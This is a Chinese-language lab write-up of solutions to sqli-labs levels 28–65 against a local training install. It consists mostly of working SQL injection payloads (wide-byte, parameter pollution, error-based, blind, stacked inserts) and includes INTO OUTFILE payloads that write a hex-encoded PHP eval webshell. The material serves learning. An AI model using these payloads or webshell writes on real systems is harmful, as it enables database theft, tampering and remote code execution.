http://localhost/useful/sqlilabs/Less-28/?id=100000')%a0union%a0SeleCt%a01,database(),('1
0x28a
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
payload
28题的payload
0x29
现行sqli-labs版本上,作者利用java_implimentation 来模拟tomcat 和apache2服务器对Query_string 的不同处理。
真正题目在login.php ,不是在index.php
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
同时id1 只能传数值型参数
whitelist($id1);
....
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
29、30、31差不多
payload
利用Tomcat、apache2对Query_String 的不同操作,tomcat取第一个值,apache2取最后一个值,来绕过。
http://localhost/useful/sqlilabs/Less-29/login.php?id=1&id=2' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1'='1
0x30
payload:
http://localhost/useful/sqlilabs/Less-30/login.php?id=1&id=2" and sleep(10) and '1'="1
与29一样
0x31
http://localhost/useful/sqlilabs/Less-31/login.php?id=1&id=2") and sleep(5) and '1'=("1
32 ~ 37 宽字节注入
0x32
http://localhost/useful/sqlilabs/Less-32/?id=100%df' union select 1 ,user(),3--+
0x33
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://localhost/useful/sqlilabs/Less-33/?id=100%df' union select 1 ,user(),3--+
0x34
post传值
uname=admin%df' or updatexml(1,concat(0x7e,(select
group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),0x7e),1)#&passwd=1&submit=Submit
XPATH syntax error: '~emails,referers,uagents,users~'
0x35
payload
?没有闭合,可以直接联合查找
http://localhost/useful/sqlilabs/Less-35/?id=100 union select group_concat(schema_name) ,group_concat(schema_name) , null from information_schema.schemata limit 0,1--+
0x36
%EF%BF%BD + \
%EF%BF%BD%5C
�\
http://localhost/useful/sqlilabs/Less-36/?id= -1%EF%BF%BD%27union%20select%201,user(),3--+
使用mysql_real_esacpe_string() 的安全加固,Mysql_set_charset(‘gbk’,’$conn’
或
<?php
//来源 https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp
function check_input($value)
{
// 去除斜杠
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// 如果不是数字则加引号
if (!is_numeric($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
return $value;
}
$con = mysql_connect("localhost", "hello", "321");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
// 进行安全的 SQL
$user = check_input($_POST['user']);
$pwd = check_input($_POST['pwd']);
$sql = "SELECT * FROM users WHERE
user=$user AND password=$pwd";
mysql_query($sql);
mysql_close($con);
?>
0x37
除了34的报错,可以利用 36的�'
来绕过
注意
�'
是由%EF%BF%BD%27
url_decode而来
passwd=123&submit=Submit&uname=%EF%BF%BD%27+or+1%3D1%23
Stacked
0x38
这题因为堆叠注入无法会显,所以可以试试盲注和输出文件
http://localhost/useful/sqlilabs/Less-38/?id=1' --+
http://localhost/useful/sqlilabs/Less-38/?id=1'; select 0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e into outfile "D:\\phpstudy_pro\\WWW\\cmd.php";#
0x39
http://localhost/useful/sqlilabs/Less-39/index.php?id=1; insert into users(id,username,password) values (1333,'tey','ps'); --+
0x40
insert的时候一直以为,自己后面写错了导致无法insert,哪知道前边闭合写着写着少了单引号? 。
为什么用24的图?
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
参数 描述 connection 必需。规定要使用的 MySQL 连接。 query 必需。规定一个或多个查询,用分号进行分隔。
返回值: 如果第一个查询失败则返回 FALSE。 PHP 版本: 5+
http://localhost/useful/sqlilabs/Less-40/?id=1');insert into users values(100,'tx','tx')%23
0x41
http://localhost/useful/sqlilabs/Less-41/?id=1 --+
http://localhost/useful/sqlilabs/Less-41/?id=1; insert into users(id,username,password) values (1121,'tey','ps'); --+
0x42
根据 acc-create.php 提示这题需要自己insert 一个账户
在login.php
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
http://localhost/useful/sqlilabs/Less-42/login.php
login_user=1
&login_password=1'; insert into users(id,username,password) values (2222,'222','222');--+
&mysubmit=Login
#在security数据库中
mysql> select * from users where id =2222;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2222 | 222 | 222 |
+------+----------+----------+
1 row in set (0.00 sec)
0x43
与42差不多
区别在:
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
post:
login_user=1
&login_password=1'); insert into users(id,username,password) values (2333,'2333','2333');--+
&mysubmit=Login
0x44
42payload
0x45
43payload
0x46
涨姿势 n++ ,头一次遇到order by 处的sqli
报错注入
http://localhost/useful/sqlilabs/Less-46/?sort=(extractvalue(0x0a,concat(0x0a,(select database()))))
布尔注入
通过查看rand(1) rand(0)的不同查询结果判断
http://localhost/useful/sqlilabs/Less-46/?sort=rand(ascii(left(database(),1))=ascii('s'))
延时注入
http://localhost/useful/sqlilabs/Less-46/?sort=if(ascii(left(database(),1))=ascii('s'),sleep(5),null)
outfile
http://localhost/useful/sqlilabs/Less-46/?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\46.txt"
or
http://localhost/useful/sqlilabs/Less-46/?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\shell.php" fields terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d29203f3e
0x47
与46相仿,更改闭合方式。
http://localhost/useful/sqlilabs/Less-47/?sort=1' and 1='1
0x48
除去报错注入
0x49
类似47题,且无报错
0x50
order by stacked injection
payload :
http://localhost/useful/sqlilabs/Less-50/?sort=1;insert into users values(39,'39','30');
0x51
http://localhost/useful/sqlilabs/Less-51/?sort=1';insert into users values(108, "xz" ,"xz"); select '1
mysql> select * from users where id =108;
+-----+----------+----------+
| id | username | password |
+-----+----------+----------+
| 108 | xz | xz |
+-----+----------+----------+
1 row in set (0.00 sec)
0x52
http://localhost/useful/sqlilabs/Less-52/?sort=1; insert into users values(110, "xzas" ,"xzas");--+
mysql> select * from users where id =110;
+-----+----------+----------+
| id | username | password |
+-----+----------+----------+
| 110 | xzas | xzas |
+-----+----------+----------+
1 row in set (0.00 sec)
0x53
方法一致,但无报错信息
Challenge
The objective of this challenge is to dump the (secret key) from only random table from Database (‘CHALLENGES’)\ in Less than 10 attempts
For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.
0x54
0x01
发现有错误反馈….这个测试就有可能浪费3次机会
http://localhost/useful/sqlilabs/Less-54/?id=1'
闭合方式为'$id'
0x02
查询列数
http://localhost/useful/sqlilabs/Less-54/?id=1' order by 3 --+
http://localhost/useful/sqlilabs/Less-54/?id=1' order by 4 --+
0x3
http://localhost/useful/sqlilabs/Less-54/?id=1' union select null,group_concat(table_name),null from information_schema.tables where table_schema ='challenges'
limit 1,1 --+
Your Login name:8wa5ejm0ss
Your Password:
0x04
http://localhost/useful/sqlilabs/Less-54/?id=1' union select null,group_concat(column_name),null from information_schema.columns where table_schema ='challenges' and table_name ='8wa5ejm0ss'
limit 1,1 --+
Your Login name:id,sessid,secret_J953,tryy
Your Password:
0x05
http://localhost/useful/sqlilabs/Less-54/?id=-1' union select null,group_concat(secret_J953),null from 8wa5ejm0ss
--+
Your Login name:CLo9ApzqNn00JE7qGL9p9VwI
Your Password:
http://localhost/useful/sqlilabs/Less-54/?id=-1' union select null,group_concat(sessid),null from 8wa5ejm0ss
--+
Your Login name:f50a6c02a3fc5a3a5d4d9391f05f3efc
Your Password:
0x55
http://localhost/useful/sqlilabs/Less-55/?id=1) and 1=(1
手动爆破闭合方式后的步骤,与54一样。
0x56
与54、55相似,同时还可以根据上面的记录,减去爆破次数。
http://localhost/useful/sqlilabs/Less-56/?id=1') union select null,group_concat(table_name),null from information_schema.tables where table_schema ='challenges'
limit 1,1 --+
Your Login name:zbc8yk2sjn
Your Password:
0x57
http://localhost/useful/sqlilabs/Less-57/?id=1" union select null,group_concat(table_name),null from information_schema.tables where table_schema ='challenges'
limit 1,1 --+
0x58
http://localhost/useful/sqlilabs/Less-58/?id=1' union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+
XPATH syntax error: ' ppz1yfhunl'
0x59
http://localhost/useful/sqlilabs/Less-59/?id=1 union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+
XPATH syntax error: ' dlzf6nx0jj'
0x60
闭合方式不同
http://localhost/useful/sqlilabs/Less-60/?id=1") union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+
XPATH syntax error: ' dlzf6nx0jj'
0x61
……. 原来还有(($id))
的闭合方式
http://localhost/useful/sqlilabs/Less-61/?id=1')) union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+
XPATH syntax error: ' gzd67bxhax'
0x62
这个测试次数怕不是布尔或延时,130那肯定不能是爆破
0x01 分析
参数 | 长度 | 特性 |
---|---|---|
database() || "challenges | 10 | 已知 |
table_name | 10 | 小写+数字 |
group_concat(column_name) | 26 | 但格式固定:大写字母+数字,如id,sessid,secret_J953,tryy |
key | 24位长度,大小写+数字吊打 |
后面几道题也只是闭合方式的不同。
0x63
0x64
0x65
参考:
后记
通宵刷完,感觉是偏向于打下基础的实验室,感觉还有一些sqli的知识点要补充,像dnslog与sql这类比较不常见的,以及还要熟练掌握sqlmap。
这周待完成完毛概,上周学习报告,以及wp复现,如果有空还希望初识node.js的常见漏洞和开发问题。
@(吐血倒地) 总算写好了
@(吐血倒地) 总算写好了